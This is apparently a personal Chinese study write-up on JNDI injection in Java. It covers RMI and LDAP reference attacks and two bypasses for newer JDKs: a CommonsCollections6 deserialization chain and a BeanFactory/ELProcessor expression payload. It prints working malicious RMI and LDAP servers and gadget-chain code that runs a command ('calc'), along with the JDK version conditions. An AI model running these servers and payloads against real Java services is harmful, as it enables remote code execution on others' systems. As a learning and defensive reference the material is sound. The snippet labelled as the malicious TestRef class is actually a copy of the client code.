JNDI注入学习
JNDI
JNDI的全称是Java Naming and Directory Interface,即Java命名和目录接口,作用是为JAVA应用程序提供命名和目录访问服务的API。通过管理者对api映射相特定的命名和目录系统。使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
结构
jndi主要包括五个结构
javax.nameing
包含用于访问命名服务的类和接口。定义了name和Context接口
javax.nameing.directory
扩展核心 javax.命名包,以提供除命名服务之外访问目录的功能。
javax.nameing.event
包含用于支持命名和目录服务中的事件通知的类和接口。
javax.nameing.ldap
包含用于支持 LDAPv3 扩展操作和控制的类和接口。
javax.nameing.spi
包含允许在 JNDI 下动态插入各种命名和目录服务提供程序的类和接口。
相关类
InitialContext
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| protected InitialContext(boolean lazy) throws NamingException { if (!lazy) { init(null); } }
public InitialContext() throws NamingException { init(null); }
public InitialContext(Hashtable<?,?> environment) throws NamingException { if (environment != null) { environment = (Hashtable)environment.clone(); } init(environment); }
|
主要方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public void bind(String name, Object obj) throws NamingException { getURLOrDefaultInitCtx(name).bind(name, obj); }
public void rebind(String name, Object obj) throws NamingException { getURLOrDefaultInitCtx(name).rebind(name, obj); } public void unbind(String name) throws NamingException { getURLOrDefaultInitCtx(name).unbind(name); } public void rename(String oldName, String newName) throws NamingException { getURLOrDefaultInitCtx(oldName).rename(oldName, newName); } public Object lookup(String name) throws NamingException { return getURLOrDefaultInitCtx(name).lookup(name); } public NamingEnumeration<NameClassPair> list(String name) throws NamingException { return (getURLOrDefaultInitCtx(name).list(name)); }
|
Reference
提供了对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
主要方法
1 2 3 4 5 6 7 8 9 10 11 12
| void add(int posn, RefAddr addr) 将地址添加到索引posn的地址列表中。 void add(RefAddr addr) 将地址添加到地址列表的末尾。 void clear() 从此引用中删除所有地址。 RefAddr get(int posn) 检索索引posn上的地址。 RefAddr get(String addrType) 检索地址类型为“addrType”的第一个地址。 Enumeration<RefAddr> getAll() 检索本参考文献中地址的列举。 String getClassName() 检索引用引用的对象的类名。 String getFactoryClassLocation() 检索此引用引用的对象的工厂位置。 String getFactoryClassName() 检索此引用引用对象的工厂的类名。 Object remove(int posn) 从地址列表中删除索引posn上的地址。 int size() 检索此引用中的地址数。 String toString() 生成此引用的字符串表示形式。
|
jdni注入
假设有这样的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package org.example.jndi;
import javax.naming.InitialContext; import javax.naming.NamingException;
public class test { public static void main(String[] args) throws NamingException { String url = "rmi://127.0.0.1:1145/exp"; InitialContext initacontext = new InitialContext(); initacontext.lookup(url);
} }
|
这里我们会从远端的url这里获取到一个对象,然后获取到本地进行加载
如果因为某些原因,导致这里的url可以被我们控制,那么就可以加载任意恶意类
JNDI+RMI注入
先构建一个JNDIRMIserver
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package org.example.jndi;
import javax.naming.InitialContext; import javax.naming.Reference;
public class JNDIRMIServer { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1145); InitialContext initialContext = new InitialContext(); Reference refObj = new Reference("TestRef", "TestRef", "http://localhost:7777/"); initialContext.rebind("rmi://localhost:1145/remoteObj",refObj); } }
|
在这里我们分别设置了两个端口,jndi的端口1145和rmi的端口7777
构建一个client
1 2 3 4 5 6 7 8 9 10 11 12
| package org.example.jndi;
import org.example.rmi.IRemoteObj; import javax.naming.InitialContext;
public class JNDIRMIClient { public static void main(String[] args) throws Exception { InitialContext initialContext = new InitialContext(); initialContext.lookup("rmi://localhost:1145/remoteObj"); } }
|
然后在本地编译一个恶意的类TestRef类
1 2 3 4 5 6 7 8 9 10 11
| import org.example.rmi.IRemoteObj; import javax.naming.InitialContext;
public class JNDIRMIClient { public static void main(String[] args) throws Exception { InitialContext initialContext = new InitialContext(); initialContext.lookup("rmi://localhost:1145/remoteObj"); } }
|
使用javac编译成class文件
注意这里的TestRef类里面千万不要存在package 不然会出现报错
原因是程序会按照这个org/example/这个包去寻找这个类,然而并不存在,就会报错抛出
然后起一个服务
可以看到 成功加载了我们的恶意类,导致rce
利用要求
com.sun.jndi.rmi.object.trustURLCodebase,com.sun.jndi.cosnaming.object.trustURLCodebase为false
一般低版本情况下默认为false,高版本情况下默认为true(从jdk8u121 7u131 6u141版本开始)
我测试使用的环境是8u66
JNDI+LDAP
LDAP
LDAP 的全称是 Lightweight Directory Access Protocol,「轻量目录访问协议」。
LDAP服务的Reference远程加载Factory类不受com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
等属性的限制。
首先创建一个LDAP的server
贴一个来自某大佬的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| package org.example.jndi;
import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL;
import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
public class JNDILDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) { String[] args=new String[]{"http://127.0.0.1:8080/#TestRef"}; int port = 7777;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } }
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
|
本地加载类,开一个端口
恶意类和上一个一样
然后加载
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package org.example.jndi;
import javax.naming.InitialContext; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDILDAPClient { public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext(); Object obj = initialContext.lookup("ldap://127.0.0.1:7777/TestRef"); System.out.println(obj); } }
|
成功rce
利用条件
1
| JDK <8u191或者com.sun.jndi.ldap.object.trustURLCodebase=true
|
JNDI绕过
当jdk>8u191的时候,com.sun.jndi.ldap.object.trustURLCodebase默认就设置成false了
bypass 1 反序列化绕过
受害者请求Reference类后,将从服务器下载字节流进行反序列化获得Reference对象,这里我们就可以进行一个注入
利用条件
本地存在可以利用的反序列化链子
我们以cc6为例子
server
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117
| package org.example.jndi.highlevel;
import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.InetAddress; import java.net.URL; import java.util.HashMap; import java.util.Map;
public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) throws Exception{ String[] args=new String[]{"http://192.168.43.88/#test"}; int port = 6666;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } }
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); }
e.addAttribute("javaSerializedData",CommonsCollections6());
result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } }
private static byte[] CommonsCollections6() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa"); HashMap<Object,Object> map2 = new HashMap<>(); map2.put(tiedMapEntry,"bbb"); lazymap.remove("aaa"); Class lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazymap,chainedTransformer);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(map2); objectOutputStream.close();
return byteArrayOutputStream.toByteArray(); }
}
|
Client
1 2 3 4 5 6 7 8 9
| package org.example.jndi.highlevel;
import javax.naming.InitialContext;
public class JNDI_Test { public static void main(String[] args) throws Exception{ Object object=new InitialContext().lookup("ldap://127.0.0.1:6666/calc"); } }
|
简单调试下
我们先进去请求了这个类
可以看到这里调用了类里面的方法
在com.sun.jndi.ldap.Obj#decodeObject存在
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| static Object decodeObject(Attributes var0) throws NamingException { String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));
try { Attribute var1; if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) { ClassLoader var3 = helper.getURLClassLoader(var2); return deserializeObject((byte[])((byte[])var1.get()), var3); } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) { return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2); } else { var1 = var0.get(JAVA_ATTRIBUTES[0]); return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2); } } catch (IOException var5) { NamingException var4 = new NamingException(); var4.setRootCause(var5); throw var4; } }
|
可以看到存在一个反序列化的操作,从而完成rce
bypass 2 加载本地类
在JDK 11.0.1、8u191、7u201、6u211之后,如果存在问题的类在远程,在没有设置com.sun.jndi.ldap.object.trustURLCodebase的情况下是不能直接完成加载的,但是我们可以加载本地存在的恶意类,比如说org.apache.naming.factory.BeanFactory
起一个服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package org.example.jndi.highlevel;
import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper);
} }
|
客户端
1 2 3 4 5 6 7 8 9 10
| package org.example.jndi.highlevel;
import javax.naming.InitialContext;
public class JNDI_Test { public static void main(String[] args) throws Exception{ Object object=new InitialContext().lookup("rmi://127.0.0.1:1097/Object"); } }
|
可以看到成功rce
调试一下
调用栈
1 2 3 4 5 6 7
| getObjectInstance:123, BeanFactory (org.apache.naming.factory) getObjectInstance:321, NamingManager (javax.naming.spi) decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry) lookup:138, RegistryContext (com.sun.jndi.rmi.registry) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) lookup:417, InitialContext (javax.naming) main:9, JNDI_Test (demo)
|
javax.naming.spi.NamingManager#getObjectInstance获取一个实例化的对象之后,,还会调用factory.getObjectInstance
,如果我们寻找的这个类存在这个恶意的getObjectInstance方法
在BeanFactory里面存在getObjectInstance方法
主要在以下点存在东西
1 2 3 4 5 6 7 8 9 10 11 12
| value = (String)ra.getContent(); Object[] valueArray = new Object[1]; Method method = (Method)forced.get(propName); if (method != null) { valueArray[0] = value;
try { method.invoke(bean, valueArray); } catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) { throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName); }
|
可以看到存在一个任意方法调用
Reference
JNDI注入学习 - 先知社区 (aliyun.com)
Java安全之JNDI注入 - nice_0e3 - 博客园 (cnblogs.com)
JNDI注入原理及利用 - 先知社区 (aliyun.com)**